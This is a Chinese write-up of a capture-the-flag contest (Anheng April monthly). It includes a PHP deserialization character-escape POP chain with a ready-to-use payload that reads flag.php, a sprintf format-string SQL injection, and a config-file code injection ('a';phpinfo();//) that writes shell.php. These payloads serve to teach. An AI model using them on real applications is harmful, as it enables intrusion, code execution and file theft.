安恒赛php_安恒四月赛部分Writeup
前言
这周有安恒的月赛,
又是膜师傅的一天
学到了一些骚姿势:
web
web1
打开题目发现给出了源码:
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '', $data);
}
function read($data) {
return str_replace('', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = @new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
我们来分析一下:
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '', $data);
}
function read($data) {
return str_replace('', chr(0) . '*' . chr(0), $data);
}
这个写函数,当反序列化存储的私有成员是,会有chr(0)的出现,所以会对chr(0) . '*' . chr(0)进行一个替换,当读取的时候会对进行一个还原。
看似没有什么问题,但是当我们可以的存储进行wirte()时不会发生改变。但是进行read()时,会变为chr(0) . '*' . chr(0)由六字符变为三字符,可以实现字符逃逸。。。
我们可以明显看到在 read 函数处理后,原先字符中的 被替换成 chr(0).'*'.chr(0),但是字符长度标识不变 。所以在进行反序列化的时候,还会继续向后读取,这样序列化的结果就完全不一样了。
所以来看一下如何构造pop链。
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
class C存在file_get_contents()函数,可以读取文件内容,可以让$c为flag.php,并且存在__toString()魔术方法。。 class B函数存在echo 那么大致思路就出来了
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b;
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c = 'flag.php';
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$aaa = new A();
$bbb = new B();
$ccc = new C();
$bbb->b=$ccc;
// echo serialize($bbb);
$aaa->password=$bbb;
echo serialize($aaa);
得到O:1:"A":2:{s:8:"username";N;s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
因为要造成反序列化逃逸:所以password值为:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
带入反序列化的解果为:O:1:"A":2:{s:8:"username";s:3:"aaa";s:8:"password";s:72:"";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
所以我们要逃逸的字符为:";s:8:"password";s:72:"一共23个字符,但是替换为chr(0) . '*' . chr(0)一次逃逸3个字符,所以要是三的倍数。。所以password为A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
username为24个;
payload:
a=&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
web2
打开页面是一个登陆框:
尝试一下发现存在waf,
于是看一下都过滤了写什么函数。。
发现过滤的挺多的,也挺全的,一时没有了解头绪
看一下源代码,发现了收获,2333
这个%s让我想到了格式化字符串的漏洞。。
上网找到这样的一篇文章参考文章
发现骚姿势,SQL注入可以和格式化字符串一起使用
例如:
$input1 = '%1$c) OR 1 = 1 /*';
$input2 = 39;
$sql = "SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s";
$sql = sprintf($sql, $input2);
echo $sql;
输出为select * from foo where bar in('') or 1=1 /*') and baz=39
%c起到了类似chr()的效果,将数字39转化为',从而导致了sql注入。
我们尝试一下利用这种方法
得到了账户密码
发现是admin用户的密码猜测存在后台,找到了后台的位置/admin
然后进行登陆,发现,这是一个套娃题 。。 淦
这里面对发现了眼熟的代码:
是一个经典的配置文件写入问题漏洞.参考链接
payload:
a';phpinfo();//
然后再shell.php看到了phpinfo()的界面。。
我以为就可以得到flag了。。谁知道有disable_functions
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,error_log,dl,FFI::cdef,debug_backtrace,imap_mail,mb_send_mail
想到了题目给了一个so文件。。猜测是上传so文件来进行提权操作。。。但是尝试了半天无果。。这应该是最后一步了,并且好多人在搅屎
最后两分钟有大佬拿到了一血
tql。
MISC
blueshark
打开题目,发现这是一个蓝牙协议:
发现存在一个7z的压缩包。提示压缩包密码为PIN码
一个骚操作将pcap文件后缀改为zip可以得到这个压缩包。。。
然后找到了PIN码的流量,得到PIN码
打开压缩包,得到flag
6G还远吗?
刚开始发现是下载的779MB的文件,就点击下载了,然后去看别的题目了,但是过一会发现这个下载速度不对呀。。意识到事情有一丝丝的不对。。嘿嘿
暂停下载找到下载的临时文件打开得到了flag
总结
这次月赛,学到了一些新知识,以及骚操作
大佬们都tql。。。
参考链接
安恒赛php_安恒四月赛部分Writeup相关推荐
- 安恒赛php_安恒11月月赛周周练writeup
前言 11月月赛 完美错过时间,正好有周周练,基本都是一样月赛的web,记录下write up 手速要快 这题是10月月赛中的一题,直接看我上次的writeup:安恒月赛(十)web-2题writeu ...
- CTF-安恒19年二月月赛部分writeup
CTF-安恒19年二月月赛部分writeup MISC1-来玩个游戏吧 题目: 第一关,一眼可以看出是盲文,之前做过类似题目 拿到在线网站解一下 ??41402abc4b2a76b9719d91101 ...
- 轨道阱 matlab,赛默飞四极杆-轨道阱液质联用仪核心参数详解
1) 离子源 Orbitrap Fusion配置的是赛默飞新一代的Easy Max NG离子源,具有加热型HESI源和APCI源一体化设计,只需要更换喷针即可实现ESI源和APCI源的切换.Easy ...
- 2017全国电赛综合测评四分频电路(一片D触发器74LS74的两种方法,有图有真相,实测波形图)
在"2017 年全国大学生电子设计竞赛综合测评题"的<复合信号发生器>中出现的要求使用1片HD74LS74搭建四分频电路,以下是两种解决方案: 使用2个D触发器(1片7 ...
- ctfshow 吃瓜杯八月赛 Misc WriteUp
目录 1.Misc游戏签到 2.吃瓜 3.EZbingo 4.魔王 5.Dinner of Cyanogen 6.Music Game 7.一群强盗 1.Misc游戏签到 别问 问就是玩游戏 套神说的 ...
- 电赛总结(四)——波形发生芯片总结之AD9851
一.特性参数 1.180 MHz时钟速率参考时钟具有6倍倍乘器.芯片具有高性能10位DAC和高速滞后比较器 2.+2.7 V至+5.25 V单电源工作 3.正常输出工作频率范围为 0-72MHz ; ...
- mlf机器人无限制格斗_花椒直播MLF机器人无限制格斗赛 直击“电磁炮”四连胜成功夺冠...
4月8日-9日,2017年无限制机器人职业格斗联赛MLF(Major League FMB)揭幕战在北京上演,花椒全程直播.两天时间中,来自全国各地的十二支顶尖级格斗机器人俱乐部齐聚一堂,为网友带来紧 ...
- 2022年认证杯(小美赛)ABCD四题已出
我团队已经给出ABCD四题的所有解析,感兴趣的同学可 点击这里 持续更新,欢迎私信公众号:知文竞赛! A题 翼龙是翼龙目中已灭绝的飞行爬行动物分支.它们存在于中生代的大部分时间:从晚三叠世到白垩纪末. ...
- [补档]noip2019集训测试赛(十四)
Problem A: Fibonacci(fib.pas/cpp) Time Limit: 1000 ms Memory Limit: 128 MB Description 豆豆最近迷上了Fibona ...
- 17年电赛综合测评——四分频电路
目录 D触发器科普: 思路: 仿真图如下: D触发器科普: 触发器是时序逻辑电路的基本单元,用来存储1位2进制信息,具有记忆和存储功能,其信息由双稳态电路来保存.触发器位脉冲边缘敏感器间,分为上升沿敏 ...
最新文章
- YunOS 对比 Android 两者究竟有何区别
- 2014编程之美热身赛 - 传话游戏
- Rustup 管理工具
- 堆、栈及静态数据区详解 转
- 【转】在树莓派上实现人脸识别
- l2tp连接尝试失败 因为安全层在初始化_线程安全互斥锁
- 哪些年给我们留下记忆的IT站点
- MATLAB中unwrap函数
- 女朋友想进高校当老师,其实中学老师更适合他
- Linux中文件权限查看和修改
- 【PHP学习】—get请求传递参数(五)
- 让网络更轻盈——网络功能虚拟化技术的现状和未来(中兴通讯)
- lastLogon和lastLogonTimestamp的区别
- 红外条码扫描器的另类使用C#版
- js获取url参数值的几种方式
- 无法启动WORKSTATION服务解决方案
- 实现全站http到https的301转向(实测有用)
- 大数据十年回顾(3):社区技术生态发展
- 目前最流畅的android手机,目前公认最流畅的4大手机系统,第一当之无愧,用三年不卡顿!...
- 天影字幕高清视频教程
热门文章
- Mac Brew Uninstall MySql
- LocalDateTime计算两个日期时间差
- 在删除 maven 聚合工程里面的一个子项目的时候,启动项目报错:XXXpom.xml does not exist
- mysql 出现ERROR 2002 (HY000): ....错误通用解决方法
- BZOJ1001: [BeiJing2006]狼抓兔子 (最小割)
- angular.js双向数据绑定实现动画特效
- Android.InstallAntOnMacOSX
- 图解 | 深入揭秘 epoll 是如何实现 IO 多路复用的!
- AES-GCM加密算法
- 要搞懂 volatile 关键字,就靠这 26 张图